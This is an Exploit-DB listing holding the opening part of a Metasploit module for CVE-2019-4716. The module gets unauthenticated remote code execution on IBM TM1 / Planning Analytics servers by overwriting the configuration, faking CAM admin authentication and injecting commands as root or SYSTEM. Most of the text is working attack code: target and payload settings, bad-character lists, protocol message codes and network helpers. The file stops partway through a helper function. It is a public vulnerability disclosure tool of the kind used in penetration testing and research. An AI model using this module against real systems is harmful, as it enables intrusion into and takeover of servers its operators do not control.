Exploit-DB #48273
Description: IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2020-03-31
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows
        an unauthenticated attacker to perform a configuration overwrite.
        It starts by querying the Admin server for the available applications, picks one,
        and then exploits it. You can also provide an application name to bypass this step,
        and exploit the application directly.
        The configuration overwrite is used to change an application server authentication
        method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.
        The exploit then performs a fake authentication as admin, and finally abuses TM1
        scripting to perform a command injection as root or SYSTEM.
        Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.
        Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions
        earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>',
                # Vulnerability discovery and Metasploit module
          'Gareth Batchelor <gbatchelor@cloudtrace.com.au>'
                # Real world exploit testing and feedback
        ],
      'References'     =>
        [
          [ 'CVE', '2019-4716' ],
          [ 'URL', 'https://www.ibm.com/support/pages/node/1127781' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2020/Mar/44' ]
        ],
      'Targets'        =>
        [
          [ 'Windows',
            {
              'Platform'  => 'win',
              'Arch'      => [ARCH_X86, ARCH_X64]
            }
          ],
          [ 'Windows (Command)',
            {
              'Platform'  => 'win',
              'Arch'      => [ARCH_CMD],
              'Payload'   =>
              {
                # Plenty of bad chars in Windows... there might be more lurking
                'BadChars'  => "\x25\x26\x27\x3c\x3e\x7c",
              }
            }
          ],
          [ 'Linux',
            {
              'Platform'  => 'linux',
              'Arch'      => [ARCH_X86, ARCH_X64]
            }
          ],
          [ 'Linux (Command)',
            {
              'Platform'  => 'unix',
              'Arch'      => [ARCH_CMD],
              'Payload'   =>
              {
                # only one bad char in Linux, baby! (that we know of...)
                'BadChars'  => "\x27",
              }
            }
          ],
          [ 'AIX (Command)',
            {
              # This should work on AIX, but it was not tested!
              'Platform'  => 'unix',
              'Arch'      => [ARCH_CMD],
              'Payload'   =>
              {
                # untested, but assumed to be similar to Linux
                'BadChars'  => "\x27",
              }
            }
          ],
        ],
      'Stance'        => Msf::Exploit::Stance::Aggressive,
          # we need this to run in the foreground
      'DefaultOptions'  =>
        {
          # give the target lots of time to download the payload
          'WfsDelay' => 30,
        },
      'Privileged'     => true,
      'DisclosureDate' => "Dec 19 2019",
      'DefaultTarget'  => 0))
    register_options(
      [
        Opt::RPORT(5498),
        OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
      ])
    register_advanced_options [
      OptString.new('APP_NAME', [false, 'Name of the target application']),
      OptInt.new('AUTH_ATTEMPTS', [true, "Number of attempts to auth to CAM server", 10]),
    ]
  end

  ## Packet structure start
  # these are client message types
  MSG_TYPES = {
    :auth => [ 0x0, 0x1 ],
    :auth_uniq => [ 0x0, 0x3 ],
    :auth_1001 => [ 0x0, 0x4 ],
    :auth_cam_pass => [ 0x0, 0x8 ],
    :auth_dist => [ 0x0, 0xa ],
    :obj_register => [ 0, 0x21 ],
    :obj_prop_set => [ 0, 0x25 ],
    :proc_create => [ 0x0, 0x9c ],
    :proc_exec => [ 0x0, 0xc4 ],
    :get_config => [ 0x1, 0x35 ],
    :upd_clt_pass => [ 0x1, 0xe2 ],
    :upd_central => [ 0x1, 0xae ],
  }

  # packet header is universal for both client and server
  PKT_HDR = [ 0, 0, 0xff, 0xff ]

  # pkt end marker (client only, server responses do not have it)
  PKT_END = [ 0xff, 0xff ]

  # empty auth object, used for operations that do not require auth
  AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]

  # This is actually the client version number
  # 0x6949200 = 110400000 in decimal, or version 11.4
  # The lowest that version 11.4 seems to accept is 8.4, so leave that as the default
  # 8.4 = 0x4CACE80
  # 9.1 = 0x55ED120
  # 9.4 = 0x5636500
  # 10.1 = 0x5F767A0
  # 10.4 = 0x5FBFB80
  # 11.1 = 0x68FFE20
  # 11.4 = 0x6949200
  #
  # If something doesn't work, try using one of the values above, but bear in mind this module
  # was tested on 10.2.2 and 11.4,
  VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ]
  ## Packet structure end

  ## Network primitives start
  # unpack a string (hex string to array of bytes)
  def str_unpack(str)
    arr = []
    str.scan(/../).each do |b|
      arr += [b].pack('H*').unpack('C*')
    end
    arr